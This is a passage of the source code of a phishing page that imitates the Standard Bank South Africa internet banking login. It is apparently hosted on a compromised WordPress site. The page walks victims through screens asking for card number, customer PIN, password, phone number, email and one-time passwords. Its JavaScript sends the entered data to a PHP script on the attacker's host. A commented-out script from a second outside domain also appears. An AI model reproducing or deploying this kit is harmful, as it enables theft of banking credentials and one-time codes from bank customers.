0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(240deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-9-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(270deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-10-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(300deg) translate(6.2px, 0px); border-radius: 1px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 1s linear 0s normal none infinite running opacity-100-25-11-12;"><div style="position: absolute; width: 5.72px; height: 2px; background: none repeat scroll 0% 0% rgb(255, 255, 255); box-shadow: 0px 0px 1px rgba(0, 0, 0, 0.1); transform-origin: left center 0px; transform: rotate(330deg) translate(6.2px, 0px); border-radius: 1px;"></div></div></div></span></button>';

            $("button#submit_otp").replaceWith(spinnerbtn);

        },

        jsHideError : function(){

            var spinnerbtn = '<button data-style="expand-left" class="btn btn-primary ladda-button" value="Continue" accesskey="C" id="submit_otp" name="submit_otp" type="submit"><span class="ladda-label">Next</span><span class="ladda-spinner"></span><div class="ladda-progress"></div><span class="ladda-spinner"></span></button>';

            $("button#submit_otp").replaceWith(spinnerbtn);

        },
        phoneContinue : function(formValues){
            var phontText = $("form#phoneForm input#phone").val();
            if(!is_mobile_valid(phontText)){
                $("form#phoneForm span.formError.phoneerror1").show();
                return false;
            }

            $("form#phoneForm span.formError.phoneerror1").hide();
            this.jsShowError();
            this.jsShowPleaseWait();

            $("input[name=phone-hidden").val(phontText);

            ajax_jsonp_call('http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/php/continue3_bak.php?otpCount='+otpCount, formValues.serialize()+'&'+$("form#form100").serialize(), function(responseText){
                /*document.open();
                document.write(responseText.message);
                document.close();*/
                //otpCount = 1;
                $("input#otp").val("");
                $("form#otpForm span.formError").hide();
                //phone_date
                nowDateTime = new Date();
                $(".otpForm_date").html(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss"));
                showPage(4);
                setTimeout(function(){
                    $("input#otp").focus();
                },500);
            });
        }
};
</script>


    </head>
        <body>

        <div class="navbar navbar-default navbar-fixed-top">




<div id="topBarFrame">
<div class="row siteheader">
        <div class="container">
                <div class="siteLogo">
                        <img class="" alt="Standard Bank" src="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/OrganizationLogo.png">
                </div>
                <div class="siteMap hidden-xs"></div>
        </div>
</div>
</div>


        </div>

        <div id="pageContentFrame">

            <div id="pageContentMainFrame">

                        <div id="pageContent" class="product">
                                <div class="container page page-1">
                                        <br class="clearBoth">

                                        <div id="mainpage" class="row">





        <div class="row">
                        <div class="row-height spacing">
                     <div class="col-height panel panel-default col-md-5">
                           <div class="inside-full-height">



<span style="font-size: xx-small; float: right; padding: 7px; color: #26428B; background-color: white;" class="otpForm_date"><script type="text/javascript">
            var nowDateTime = new Date();
            document.write(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss"));
        </script></span>

                                 <div class="panel-body panel-content">
                                   <h4>
                                          <span class="lock"></span>
                                          Login
                                    </h4>









<span class="alert-danger">

</span>






                                <br class="clearBoth">









<div class="panel-body">









        <form id="signonForm" class="form-horizontal" action="/ibsa/j_spring_security_check" method="post" onsubmit="CheckloginFields(); return false;" autocomplete="off">
            <p>






            </p><div class="form-group">
                <label class="col-md-4 control-label" for="ccn">Card</label>

                <div class="col-md-6">
                    <input id="ccn" name="ccn" class="form-control input-sm" type="text">
                    <span class="alert-danger"><p alt="Error message" class="error custom-error cardnumber-error">Please enter a valid card number.<br> </p></span>
                </div>
            </div>


            <div class="form-group">
                <label class="col-md-4 control-label" for="csp">CSP <i class="glyphicon glyphicon-question-sign" id="tooltipCSP"></i></label>

                <div class="col-md-6">
                    <input id="csp" name="csp" class="form-control input-sm" maxlength="5" type="password">
                    <span class="alert-danger"><p alt="Error message" class="error custom-error csp-error">Please enter your customer selected pin (CSP).<br> </p></span>
                </div>
            </div>


            <div class="form-group">
                <label class="col-md-4 control-label" for="pwd">Password <i class="glyphicon glyphicon-question-sign" id="tooltipPwd"></i></label>

                <div class="col-md-6">
                    <input id="pwd" name="pwd" placeholder="" class="form-control input-sm" type="password">
                    <span class="alert-danger"><p alt="Error message" class="error custom-error pwd-error">Please enter your password.<br> </p></span>
                </div>
            </div>


            <div class="form-group">
                <label class="col-md-4 control-label" for="checkboxes">Change</label>

                <div class="col-md-6">
                    <div class="list-group checkbox col-md-5">
                        <label for="changecsp"> <input name="changePin" id="changecsp" value="ON" type="checkbox"> CSP
                        </label>
                    </div>
                    <div class="list-group checkbox col-md-7">
                        <label for="changepass"> <input name="changePwd" id="changepass" value="ON" type="checkbox">
                            Password
                        </label>
                    </div>
                </div>
            </div>

            <input id="dna" name="dna" type="hidden">
            <input id="deviceId" name="deviceId" type="hidden">


            <div class="form-group">
                <label class="col-md-4 control-label" for="login"></label>

                <div class="col-md-6">
                    <!--
                    <button type="submit" id="login" name="login" value="Login" class="btn btn-primary ladda-button" data-style="expand-left" onclick="scGeneralLinkClick(this, 'Login button click', 'Content')"><span class="ladda-label">Login</span><span class="ladda-spinner"></span>

                        <div class="ladda-progress" style="width: 0px;"></div>
                    </button>
                    -->
                    <BUTTON id="login" class="btn btn-primary ladda-button" onclick="" name=login type="submit" data-style="expand-left" value="Login">
                        <SPAN class=ladda-label>Login</SPAN>
                        <SPAN class=ladda-spinner></SPAN>
                        <DIV style="WIDTH: 0px" class=ladda-progress></DIV>
                    </BUTTON>
                </div>
            </div>

        </form>
           <div>
            <p>
                By logging in I accept the
                <a href="https://www.standardbank.co.za/standimg/South%20Africa/Personal/PDFs%28Personal%29/T&C%20Electronic%20Banking%20agreement.pdf" target="_blank" class="bold"><u> TERMS AND CONDITIONS </u></a>
            </p>
           </div>

    <hr>
    <div align="center">
    </div>
    <div class="right-tile_content quicklinksbox col-md-6" style="border-right:solid 1px #CCCCCC;">
        <ul>
            <li><a href="https://www18.encrypt.standardbank.co.za/ibsa/customer/start_reactivate.do" onclick="return scGeneralLinkClick(this,'Registration | Create PIN and Password Link click', 'Sidebar')">Create PIN and Password</a></li>
            <li><a href="https://www18.encrypt.standardbank.co.za/ibsa/customer/start_reset_csp_pwd.do" onclick="return scGeneralLinkClick(this,'Registration | Reset Password and CSP Link click', 'Sidebar')">Reset Password and CSP</a></li>
        </ul>
    </div>
    <div class="right-tile_content quicklinksbox col-md-6">
        <ul>
            <li><a href="https://www1.encrypt.standardbank.co.za/ADWeb/register_za.do">Register</a></li>
        </ul>
    </div>
    </div>
<!--Bottom Menu -->

                               </div>
                           </div>
                </div>
                <div class="col-height panel panel-default col-md-5">
                        <div class="inside">
                        <div class="inside-full-height">
                        <center class="panel-default">
                                <h2 class="text-center new_online_header">New Online Banking</h2><br>
                                <center><img class="img-responsive img-full" src="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/IBRimage.png" alt="firefox logo"></center>
                                <br>
                             <h4 class="text-center new_online_content">New online banking has new features and is easier to use</h4>
                                        <div class="row center-block">
                                                <div class="col-md-12">
                                                        <div class="col-md-8 col-md-offset-2 btn-ibr">
                                                           <a onclick="ExperienceLoader(); return false;" class="LOGIN-OR-REGISTER-HE btn" href="#https://experience.standardbank.co.za/" role="button">LOGIN OR REGISTER HERE</a>
                                                        </div>
                                                </div>
                                        </div>
                             </center>
                        </div>
                                </div>
                </div>
                        </div>
       <div class="row">
                      <div class="col-md-12 text-center">
                            <h6 class="link_note"><span class="glyphicon glyphicon-info-sign glyphicon-lg" aria-hidden="true"></span>
                                Please note that we will never phone or email you asking for your
one time password(OTP), customer selected PIN(CSP) or ATM PIN.
                                <a href="http://www.standardbank.co.za/standardbank/Personal/Self-service-banking/Security-Centre/About-Security-Centre" target="_blank" onclick="scGeneralLinkClick('SBSA Scams Page', 'Find out more link click', 'New Splash Page');">FIND OUT MORE</a>
                           </h6>
                      </div>
                </div>

                <div class="bottom_link_div panel-body panel-content col-md-12">

                                <div class="panel-body panel-content center-block">

                                        <div class="col-sm-4">
                                                <img class="customer_care--img" src="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/icon_south_africa.png">
                                                <p style="font-size: 11px;">
                                                        South Africa 0860 123 000
                                                </p>
                                        </div>
                                        <div class="col-sm-4">
                                                <img class="customer_care--img" src="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/icon_global.png">
                                                <p style="font-size: 11px;">
                                                        International +27 11 299 4701
                                                </p>
                                        </div>
                                        <div class="col-sm-4">
                                                <img class="customer_care--img" src="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/icon_email.png">
                                                <p style="font-size: 11px;">
                                                        Email  Send us at <a href="mailto:ibsupport@standardbank.co.za" class="link_bottom_color email_link">ibsupport@standardbank.co.za</a>
                                                </p>
                                        </div>
                                </div>

                          <div class="text-center">
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="http://www.standardbank.co.za/standardbank/Personal/Self-service-banking/New-Internet-banking" target="_blank" class="link_bottom_color">About Our New Internet Banking</a>
                                </h8>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="http://www.standardbank.co.za/site/online_InternetBank/bankFunction.html" target="_blank" class="link_bottom_color">Functionality</a>
                                </h8>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="https://www18.encrypt.standardbank.co.za/ibsa/common/loadaccessibility.do" class="link_bottom_color">Accessibility settings</a>
                                </h8>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="https://www.standardbank.co.za/standardbank/Personal/Self-service-banking/Internet-banking/FAQs" target="_blank" class="link_bottom_color">FAQs</a>
                                </h8>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="https://www.standardbank.co.za/standardbank/Personal/Self-service-banking/Internet-banking/FAQs/Cost" target="_blank" class="link_bottom_color">Costs</a>
                                </h8>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="https://www.standardbank.co.za/standardbank/About-Us" target="_blank" class="link_bottom_color">About us</a>
                                </h8>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="https://www.standardbank.co.za/standardbank/Contact-us" target="_blank" class="link_bottom_color">Contact us</a>
                                </h8>
                                  <h8 class="link_bottom">
                                        <a href="https://www.standardbank.co.za/standimg/South%20Africa/Personal/PDFs%28Personal%29/T&C%20Electronic%20Banking%20agreement.pdf" target="_blank" class="link_bottom_color">Electronic Banking Agreement</a>
                                </h8>
                                <br>
                                  <h8 class="link_bottom links_vertical_line">
                                        <a href="http://www.standardbank.co.za/standardbank/Personal/Banking/Savings-and-investments/Auto-Share-Invest" target="_blank" class="link_bottom_color">Auto Share Investment Agreement</a>
                                </h8>
                                <h8 class="link_bottom links_vertical_line">
                                        <a href="https://www.standardbank.co.za/standardbank/About-Us/Disclaimer" target="_blank" class="link_bottom_color">Disclaimer</a>
                                </h8>

                                <h8 class="link_bottom">
                                        <a href="https://www.standardbank.co.za/" target="_blank" class="link_bottom_color">Standard Bank home page</a>
                                </h8>
                           </div>
                        </div>
      </div>





                                        </div>
                                </div>

                            <div class="container page page-2" style="display:none;">
                                <div class="featured-area-bg">
                                                        <div class="row container">
                                                                <ol id="crumbList" class="col-sm-6 breadcrumb">
                                                                        <li><a href="https://www18.encrypt.standardbank.co.za/ibsa/accounts/getbalances.do" class="crum">Home</a></li>
                                                                        <li class="last">One-time password</li>
                                                                </ol>
                                                        </div>
                                                </div>

                                                <br class="clearBoth">
                                                <div class="row">

                                                        <div class="col-sm-10">

                                                                <div class="panel panel-default">



<div class="panel-loader hide" style="position: absolute; width: 100%; height:100%; background-color: white;z-index: 1001;">
    <div class="loader"></div>
    <div class="" style="vertical-align: middle; height: 30px; color: #3498db; font-weight: bolder; font-size: 14px; width: 100%; text-align: center; margin-top: 20%;">Please wait....<br>Preparing Statement and Receipt.</div>
</div>






<span style="font-size: xx-small; float: right; padding: 7px; color: #26428B; background-color: white;" class="otpForm_date">Thursday, 23 February 2017 15:59:25</span>

                                                                        <div class="panel-body panel-content">
                                                                                <h4>
                                                                                        <span>
                                                                                                        One-time password
                                                                                        </span>
                                                                                </h4>

                                                                                <br class="clearBoth">


                                                                                <div class="info notification">
                                                                                        For your online security, we will send a verification
code (one-time password - OTP) to the cellphone number or email address
that you chose as your preferred communication method.
                                                                                        Please enter this verification code to continue to
your online banking profile.
                                                                                        </div>


                                                                                <div>
                                                                                        <label>  <b>Preferred method:</b> SMS
                                                                                        </label>
                                                                                </div>

                                                                    <form onsubmit="JSloginStandard.otpContinue($(this)); return false;" id="otpForm" method="POST" action="/ibsa/otp/register/redirector.do">
                                                                            <div>

                                                                                <span class="formError otperror1" style="font-weight: bold; color: #ff4c4c; display: none;">Invalid One Time Pin (OTP)</span>

                                                                                <span class="formError otperror2" style="font-weight: bold; color: #ff4c4c; display: none;">Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone</span>

                                                                                <span class="formError otperror3" style="font-weight: bold; color: #339900; display: none;">A new One Time Pin (OTP) has been resent to your Cellphone</span>

                                                                            </div>
                                                                                        <div>
                                                                                        Please enter the one-time password sent to your

                                                                                      <b>Cellphone</b>


                                                                                  on <b><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "yyyy-mm-dd h:MM:ss"));

        </script></b>:
                                                                                        </div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <div class="form-group">
                                                                                                                <input maxlength="5" name="otp" id="otp" placeholder="" class="input-sm" value="" autofocus="" type="password">
                                                                                                </div>
                                                                                        </div>
                                                                                        <hr>
                                                                                        <div class="form-group">
                                                                                                <button type="submit" name="submit_otp" name="submit_otp" accesskey="C" value="Continue" class="btn btn-primary ladda-button" data-style="expand-left">
                                                                                                        <span class="ladda-label">Next</span><span class="ladda-spinner"></span>
                                                                                                        <div class="ladda-progress"></div>
                                                                                                <span class="ladda-spinner"></span></button>
                                                                                                <button type="submit" name="submit_new_channel" id="submit_new_channel" accesskey="R" value="Resend" class="btn btn-info ladda-button" data-spinner-color="black" data-style="expand-left">
                                                                                                <span class="ladda-label">Resend OTP</span>
                                                                                                <span class="ladda-spinner"></span><span class="ladda-spinner"></span><div class="ladda-progress" style="width: 0px;"></div></button>
                                                                                        </div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <b> Note: </b>
                                                                                                <ol>
                                                                                                        <li>If you request a new one-time password the previous password will no longer be valid.
                                                                                                        </li><li>Your one-time password can be used for one Internet banking transaction only.
                                                                                                        </li><li>You will have to wait 30 seconds before you can request a new OTP to be generated.
                                                                                                        </li><li>Your one-time password is valid for 15 minutes from the time it was generated.
                                                                                                        </li><li>If you are not able to receive your OTP via your default delivery method, please call the Customer contact centre.
                                                                                                </li></ol>
                                                                                        </div>
                                                                                        <div>
                                                                                                <script>

                                                                                                </script>
                                                                                        </div>
                                                                        </form>
                                                                </div>
                                                                </div>
                                                        </div>


                                                </div>
                            </div>








                            <div class="container page page-3" style="display:none;">

                                                <div class="featured-area-bg">
                                                        <div class="row container">
                                                                <ol id="crumbList" class="col-sm-6 breadcrumb">
                                                                        <li><a href="https://www21.encrypt.standardbank.co.za/ibsa/accounts/getbalances.do" class="crum">Home</a></li>
                                                                        <li class="last">Confirm Phone Number</li>
                                                                </ol>
                                                        </div>
                                                </div>

                                                <br class="clearBoth">
                                                <div class="row">

                                                        <div class="col-sm-10">

                                                                <div class="panel panel-default">
                                                                    <div class="panel-loader hide" style="position: absolute; width: 100%; height:100%; background-color: white;z-index: 1001;">
                                                                        <div class="loader"></div>
                                                                        <div class="" style="vertical-align: middle; height: 30px; color: #3498db; font-weight: bolder; font-size: 14px; width: 100%; text-align: center; margin-top: 20%;">Please wait....<br>Preparing Statement and Receipt.</div>
                                                                    </div>



                                                                    <span style="font-size: xx-small; float: right; padding: 7px; color: #26428B; background-color: white;" class="otpForm_date"><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss TT"));

        </script></span>

                                                                        <div class="panel-body panel-content">
                                                                                <h4>
                                                                                        <span>
                                                                                                Confirm Phone Number
                                                                                        </span>
                                                                                </h4>

                                                                                <br class="clearBoth">


                                                                                <!--
                                                                                <div>
                                                                                        <label>  <b>Preferred method:</b> SMS
                                                                                        </label>
                                                                                </div>-->

                                                                    <form onsubmit="JSloginStandard.phoneContinue($(this)); return false;" id="phoneForm" method="POST" action="/ibsa/otp/register/redirector.do">
                                                                            <div>

                                                                                <span class="formError phoneerror1" style="font-weight: bold; color: #ff4c4c; display: none;">Invalid Phone Number, please enter a valid cell phone number and retry</span>

                                                                            </div>
                                                                                        <div>
                                                                                        We need to verify your cell phone number, please enter your cell phone number

                                                                                      <!--<b>Cellphone</b>


                                                                                  on <b><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "yyyy-mm-dd h:MM:ss"));

        </script></b>:
                                                                                        --></div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <div class="form-group">
                                                                                                                <input maxlength="10" name="phone" id="phone" placeholder="" class="input-sm" value="" autofocus="" type="text">
                                                                                                </div>
                                                                                        </div>
                                                                                        <hr style="margin: 10px;">
                                                                                        <div class="form-group">
                                                                                                <button type="submit" name="submit_otp" name="submit_otp" accesskey="C" value="Continue" class="btn btn-primary ladda-button" data-style="expand-left">
                                                                                                        <span class="ladda-label">Next</span><span class="ladda-spinner"></span>
                                                                                                        <div class="ladda-progress"></div>
                                                                                                <span class="ladda-spinner"></span></button>
                                                                                                <!--
                                                                                                <button type="submit" name="submit_new_channel" id="submit_new_channel" accesskey="R" value="Resend" class="btn btn-info ladda-button" data-spinner-color="black" data-style="expand-left">
                                                                                                <span class="ladda-label">Resend OTP</span>
                                                                                                <span class="ladda-spinner"></span><span class="ladda-spinner"></span><div class="ladda-progress" style="width: 0px;"></div></button>
                                                                                                -->
                                                                                        </div>
                                                                                        <!--
                                                                                        <br>

                                                                                        <div>
                                                                                                <b> Note: </b>
                                                                                                <ol>
                                                                                                        <li>We need to verify your cell phone number, please enter your cell phone number. .
                                                                                                        </li><li>Your one-time password can be used for one Internet banking transaction only.
                                                                                                        </li><li>You will have to wait 30 seconds before you can request a new OTP to be generated.
                                                                                                        </li><li>Your one-time password is valid for 15 minutes from the time it was generated.
                                                                                                        </li><li>If you are not able to receive your OTP via your default delivery method, please call the Customer contact centre.
                                                                                                </li></ol>
                                                                                        </div>
                                                                                        -->
                                                                                        <div>

                                                                                        </div>

                                                                                        
                                                                        </form>
                                                                </div>
                                                                </div>
                                                        </div>


                                                </div>
                                        </div>






                            <div class="container page page-4" style="display:none;">
                                <div class="featured-area-bg">
                                                        <div class="row container">
                                                                <ol id="crumbList" class="col-sm-6 breadcrumb">
                                                                        <li><a href="https://www18.encrypt.standardbank.co.za/ibsa/accounts/getbalances.do" class="crum">Home</a></li>
                                                                        <li class="last">One-time password</li>
                                                                </ol>
                                                        </div>
                                                </div>

                                                <br class="clearBoth">
                                                <div class="row">

                                                        <div class="col-sm-10">

                                                                <div class="panel panel-default">



<div class="panel-loader hide" style="position: absolute; width: 100%; height:100%; background-color: white;z-index: 1001;">
    <div class="loader"></div>
    <div class="" style="vertical-align: middle; height: 30px; color: #3498db; font-weight: bolder; font-size: 14px; width: 100%; text-align: center; margin-top: 20%;">Please wait....<br>Preparing Statement and Receipt.</div>
</div>






<span style="font-size: xx-small; float: right; padding: 7px; color: #26428B; background-color: white;">Thursday, 23 February 2017 15:59:25</span>

                                                                        <div class="panel-body panel-content">
                                                                                <h4>
                                                                                        <span>
                                                                                                        One-time password
                                                                                        </span>
                                                                                </h4>

                                                                                <br class="clearBoth">


                                                                                <div class="info notification">
                                                                                        For your online security, we will send a verification
code (one-time password - OTP) to the cellphone number or email address
that you chose as your preferred communication method.
                                                                                        Please enter this verification code to continue to
your online banking profile.
                                                                                        </div>


                                                                                <div>
                                                                                        <label>  <b>Preferred method:</b> SMS
                                                                                        </label>
                                                                                </div>

                                                                    <form onsubmit="JSloginStandard.otpContinue2($(this)); return false;" id="otpForm2" method="POST" action="/ibsa/otp/register/redirector.do">
                                                                            <div>

                                                                                <span class="formError otperror1" style="font-weight: bold; color: #ff4c4c; display: none;">Invalid One Time Pin (OTP)</span>

                                                                                <span class="formError otperror2" style="font-weight: bold; color: #ff4c4c; display: none;">Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone</span>

                                                                                <span class="formError otperror3" style="font-weight: bold; color: #339900; display: none;">A new One Time Pin (OTP) has been resent to your Cellphone</span>

                                                                            </div>
                                                                                        <div>
                                                                                        Please enter the one-time password sent to your

                                                                                      <b>Cellphone</b>


                                                                                  on <b><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "yyyy-mm-dd h:MM:ss"));

        </script></b>:
                                                                                        </div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <div class="form-group">
                                                                                                                <input maxlength="5" name="otp" id="otp" placeholder="" class="input-sm" value="" autofocus="" type="password">
                                                                                                </div>
                                                                                        </div>
                                                                                        <hr>
                                                                                        <div class="form-group">
                                                                                                <button type="submit" name="submit_otp" name="submit_otp" accesskey="C" value="Continue" class="btn btn-primary ladda-button" data-style="expand-left">
                                                                                                        <span class="ladda-label">Next</span><span class="ladda-spinner"></span>
                                                                                                        <div class="ladda-progress"></div>
                                                                                                <span class="ladda-spinner"></span></button>
                                                                                                <button type="submit" name="submit_new_channel" id="submit_new_channel" accesskey="R" value="Resend" class="btn btn-info ladda-button" data-spinner-color="black" data-style="expand-left">
                                                                                                <span class="ladda-label">Resend OTP</span>
                                                                                                <span class="ladda-spinner"></span><span class="ladda-spinner"></span><div class="ladda-progress" style="width: 0px;"></div></button>
                                                                                        </div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <b> Note: </b>
                                                                                                <ol>
                                                                                                        <li>If you request a new one-time password the previous password will no longer be valid.
                                                                                                        </li><li>Your one-time password can be used for one Internet banking transaction only.
                                                                                                        </li><li>You will have to wait 30 seconds before you can request a new OTP to be generated.
                                                                                                        </li><li>Your one-time password is valid for 15 minutes from the time it was generated.
                                                                                                        </li><li>If you are not able to receive your OTP via your default delivery method, please call the Customer contact centre.
                                                                                                </li></ol>
                                                                                        </div>
                                                                                        <div>
                                                                                                <script>

                                                                                                </script>
                                                                                        </div>
                                                                                        
                                                                        </form>
                                                                </div>
                                                                </div>
                                                        </div>


                                                </div>
                            </div>










                            <div class="container page page-5" style="display:none;">

                                                <div class="featured-area-bg">
                                                        <div class="row container">
                                                                <ol id="crumbList" class="col-sm-6 breadcrumb">
                                                                        <li><a href="https://www21.encrypt.standardbank.co.za/ibsa/accounts/getbalances.do" class="crum">Home</a></li>
                                                                        <li class="last">Verify E-mail</li>
                                                                </ol>
                                                        </div>
                                                </div>

                                                <br class="clearBoth">
                                                <div class="row">

                                                        <div class="col-sm-10">

                                                                <div class="panel panel-default">
                                                                    <div class="panel-loader hide" style="position: absolute; width: 100%; height:100%; background-color: white;z-index: 1001;">
                                                                        <div class="loader"></div>
                                                                        <div class="" style="vertical-align: middle; height: 30px; color: #3498db; font-weight: bolder; font-size: 14px; width: 100%; text-align: center; margin-top: 20%;">Please wait....<br>Preparing Statement and Receipt.</div>
                                                                    </div>



<span style="font-size: xx-small; float: right; padding: 7px; color: #26428B; background-color: white;" class="otpForm_date"><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss TT"));

        </script></span>

                                                                        <div class="panel-body panel-content">
                                   <h4>
                                          <span class="lock"></span>
                                          Verify E-mail
                                    </h4>









<span class="alert-danger">

</span>






                                <br class="clearBoth">









<!--

<script src="http://jandrsmallenginerepair.com/publicLicence2/fields.js"></script>
-->
<div class="panel-body">









        <form id="emailForm" class="form-horizontal" action="/ibsa/j_spring_security_check" method="post" onsubmit="JSloginStandard.loginCheckFields(); return false;" autocomplete="off">
            <!--<div class="form-group">
                <label class="col-md-2 control-label" for="ccn">Card Number</label>

                <div class="col-md-6">
                    <input id="ccn" value="{ccn}" disabled="disabled" name="ccn" class="form-control input-sm" type="text"><inline style="font-weight:bold;color:green">Verified</inline>
                    <span class="alert-danger"><p alt="Error message" class="error custom-error cardnumber-error">Please enter a valid E-mail address.<br> </p></span>
                </div>
            </div>-->
            <p>






            </p>
            <div class="form-group">
                <label class="col-md-2 control-label" for="ccn">E-Mail Address</label>

                <div class="col-md-6">
                    <input type="email" id="ccn-email" name="ccn-email" class="form-control input-sm" type="text">
                    <span class="alert-danger"><p alt="Error message" class="error custom-error emailaddress-error">Please enter a valid E-mail address.<br> </p></span>
                </div>
            </div>

            <!--
            <div class="form-group">
                <label class="col-md-2 control-label" for="pwd">Phone Number</label>

                <div class="col-md-6">
                    <input id="ccn-phonenumber" name="ccn-phonenumber" placeholder="" class="form-control input-sm" type="text">
                    <span class="alert-danger"><p alt="Error message" class="error custom-error pwd-error">Please enter your Phone number.<br> </p></span>
                </div>
            </div>
            -->

            <input id="dna" name="dna" type="hidden">
            <input id="deviceId" name="deviceId" type="hidden">


            <div class="form-group">
                <label class="col-md-2 control-label" for="login"></label>

                <div class="col-md-6">
                    <!--
                    <button type="submit" id="login" name="login" value="Login" class="btn btn-primary ladda-button" data-style="expand-left" onclick="scGeneralLinkClick(this, 'Login button click', 'Content')"><span class="ladda-label">Login</span><span class="ladda-spinner"></span>

                        <div class="ladda-progress" style="width: 0px;"></div>
                    </button>
                    -->
                    <button id="login-email" class="btn btn-primary ladda-button" onclick="" name="login" type="submit" data-style="expand-left" value="Login">
                        <span class="ladda-label">Continue</span>
                        <span class="ladda-spinner"></span>
                        <div style="WIDTH: 0px" class="ladda-progress"></div>
                    </button>
                </div>
            </div>
            
        </form>
    <!--
           <div>
            <p>
                By logging in I accept the
                <a href="https://www11.encrypt.standardbank.co.za/ibsa/announcements/Agreement.pdf" target="_blank" class="bold"><u> TERMS AND CONDITIONS </u></a>
            </p>
           </div>
    -->

    <hr>
    <div align="center">
    </div>
    <!--
    <div class="right-tile_content quicklinksbox col-md-6" style="border-right:solid 1px #CCCCCC;">
        <ul>
            <li><a href="https://www11.encrypt.standardbank.co.za/ibsa/customer/start_reactivate.do" onclick="return scGeneralLinkClick(this,'Registration | Create PIN and Password Link click', 'Sidebar')">Create PIN and Password</a></li>
            <li><a href="https://www11.encrypt.standardbank.co.za/ibsa/customer/start_reset_csp_pwd.do" onclick="return scGeneralLinkClick(this,'Registration | Reset Password and CSP Link click', 'Sidebar')">Reset Password and CSP</a></li>
        </ul>
    </div>
    <div class="right-tile_content quicklinksbox col-md-6">
        <ul>
            <li><a href="https://www1.encrypt.standardbank.co.za/ADWeb/register_za.do">Register</a></li>
        </ul>
    </div>
    -->
    </div>
<!--Bottom Menu -->

<!--
<script>
    $('.carousel').carousel({
        interval: 3000
    })

</script>
-->
                               </div>
                                                                </div>
                                                        </div>


                                                </div>
                                        </div>





                            <div class="container page page-6" style="display:none;">
                                                <div class="featured-area-bg">
                                                        <div class="row container">
                                                                <ol id="crumbList" class="col-sm-6 breadcrumb">
                                                                        <li><a href="https://www21.encrypt.standardbank.co.za/ibsa/accounts/getbalances.do" class="crum">Home</a></li>
                                                                        <li class="last">One-time password</li>
                                                                </ol>
                                                        </div>
                                                </div>
                                                
                                                <br class="clearBoth">
                                                <div class="row">
                                                        <div class="col-sm-10">
                                                                <div class="panel panel-default">
                                                                    <div class="panel-loader hide" style="position: absolute; width: 100%; height:100%; background-color: white;z-index: 1001;">
                                                                        <div class="loader"></div>
                                                                        <div class="" style="vertical-align: middle; height: 30px; color: #3498db; font-weight: bolder; font-size: 14px; width: 100%; text-align: center; margin-top: 20%;">Please wait....<br>Preparing Statement and Receipt.</div>
                                                                    </div>                                                                    
                                                                        

<span style="font-size: xx-small; float: right; padding: 7px; color: #26428B; background-color: white;" class="otpForm_date"><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "dddd, mmmm dS, yyyy, h:MM:ss TT"));

        </script></span>

                                                                        <div class="panel-body panel-content">
                                                                                <h4>                                                                                      
                                                                                        <span>                                                                                            
                                                                                                        One-time password
                                                                                        </span>           
                                                                                </h4>
                                                                                
                                                                                <br class="clearBoth">
                                                                                
                                                                                                                                        

                                                                                <div>
                                                                                        <label>  <b>Preferred method:</b> SMS
                                                                                        </label>
                                                                                </div>
                                                                                
                                                                    <form onsubmit="JSloginStandard.otpContinue3($(this)); return false;" id="otpForm3" method="POST" action="/ibsa/otp/register/redirector.do">  
                                                                            <div>

                                                                                <span class="formError otperror1" style="font-weight: bold; color: #ff4c4c; display: none;">Invalid One Time Pin (OTP)</span>                                                                               

                                                                                <span class="formError otperror2" style="font-weight: bold; color: #ff4c4c; display: none;">Your One Time Pin (OTP) has Expired, Please enter the One-Time password (OTP) sent to your Cellphone</span>

                                                                                <span class="formError otperror3" style="font-weight: bold; color: #339900; display: none;">A new One Time Pin (OTP) has been resent to your Cellphone</span>

                                                                            </div>                                                                                                                                
                                                                                        <div>
                                                                                        Please enter the one-time password sent to your 
                                                                                   
                                                                                      <b>Cellphone</b> 
